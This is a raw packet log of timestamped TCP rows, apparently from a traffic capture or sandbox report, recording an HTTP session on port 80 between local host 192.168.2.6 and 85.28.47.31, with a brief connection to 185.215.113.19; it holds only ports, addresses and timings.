Jul 26, 2024 13:49:25.793123960 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793148994 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793154955 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793185949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793203115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793219090 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793237925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793268919 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793272972 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793272972 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793301105 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793338060 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793338060 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793338060 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793370008 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793379068 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793401957 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793435097 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793448925 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793448925 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793467045 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793488026 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793498993 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793529987 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793535948 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793535948 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793560028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793591976 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793601990 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793601990 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793622971 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793653965 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793668032 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793668032 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793684959 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793716908 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793729067 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793729067 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793780088 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.793883085 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793920040 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793951035 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.793982983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794023991 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794055939 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794087887 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794118881 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794150114 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794182062 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794214964 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.794214010 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794214964 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.794249058 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794279099 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.794281960 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794313908 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794344902 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794378996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794410944 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794430971 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.794430971 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.794444084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794475079 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794491053 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.794491053 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.794516087 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794548035 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794563055 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.794563055 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.794579029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794610023 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794624090 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.794624090 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.794642925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794675112 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794689894 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.794689894 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.794708014 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794739962 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794754982 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.794754982 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.794771910 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794792891 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.794806957 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794838905 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794853926 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.794853926 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.794868946 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.794991970 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.795006990 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.795006990 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.795187950 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.795197964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.795228958 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.795259953 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.795289993 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.795289993 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.795310020 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.795329094 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.795341969 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.795372963 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.795378923 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.795391083 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.795403957 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.795435905 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.795450926 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.795450926 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.795466900 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.795499086 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.795511007 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.795511007 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.795531034 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.795561075 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.795567989 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.795576096 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.795593977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.795625925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.795640945 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.795640945 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.795656919 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.795672894 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.795689106 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.795731068 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.795731068 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.797190905 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.797226906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.797259092 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.797290087 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.797290087 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.797322035 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.797353029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.797384024 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.797426939 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.797445059 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.797445059 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.797463894 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.797497034 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.797528028 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.797573090 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.797607899 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.797640085 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.797669888 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.797687054 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.797719955 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.797736883 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.797758102 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.797791004 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.797822952 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.797827005 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.798238039 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.879822969 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.879873037 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.879906893 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.879914045 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.879914045 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.879939079 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.879971981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880002975 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880036116 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880045891 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.880068064 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880105019 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880136013 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880168915 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880187988 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.880199909 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880232096 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880254030 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.880268097 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880307913 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.880307913 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.880315065 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880350113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880383015 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880399942 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880443096 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880474091 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880534887 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880697012 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.880748034 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880779982 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880812883 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880845070 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880871058 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.880877018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880908012 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880937099 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.880939960 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.880980968 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.881200075 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.881232023 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.881263971 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.881295919 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.881326914 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.881357908 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.881360054 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.881392956 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.881397963 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.881412029 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.881423950 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.881458044 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.881458998 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.881458998 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.881571054 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.881964922 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.881995916 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882028103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882059097 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882091045 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882122040 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882153034 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882184029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882215977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882246017 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882278919 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882531881 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882564068 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882595062 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882626057 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882657051 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882688046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882720947 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882750988 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882782936 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882822990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882854939 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882885933 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882919073 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882950068 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.882982016 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.883502007 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.883533955 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.883564949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.883595943 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.883626938 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.883657932 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.883688927 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.883721113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.883753061 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.883785009 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.883816957 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.883848906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.883879900 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.883912086 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.883944035 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.883976936 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.884006977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.884320021 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.884430885 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.884471893 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.884471893 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.884495974 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.884510994 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.884532928 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.884563923 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.884576082 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.884576082 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.884597063 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.884628057 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.884634972 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.884634972 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.884660959 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.884692907 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.884699106 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.884700060 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.884723902 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.884756088 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.884768009 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.884768009 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.884787083 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.884820938 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.884854078 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.884869099 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.884895086 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.884937048 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.884937048 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.884939909 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.884972095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.884984016 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.885278940 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.885447979 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.885482073 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.885514021 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.885524988 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.885524988 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.885545969 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.885576963 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.885587931 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.885587931 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.885611057 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.885642052 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.885653973 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.885653973 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.885674953 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.885705948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.885718107 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.885718107 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.885739088 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.885768890 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.885781050 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.885781050 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.885802984 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.885833979 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.885844946 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.885844946 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.885879993 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.886024952 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.886121988 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.931201935 CEST	80	59046	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:25.931482077 CEST	59046	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:25.932460070 CEST	59046	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:25.937623024 CEST	80	59046	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:25.966573000 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.966614962 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.966624975 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.966697931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.966712952 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.966764927 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.966799021 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.966851950 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.966851950 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.966895103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.966928005 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.966962099 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.967168093 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.967173100 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.967200994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.967241049 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.967252016 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.967252016 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:25.967273951 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.967310905 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:25.967343092 CEST	80	59020	85.28.47.31	192.168.2.6
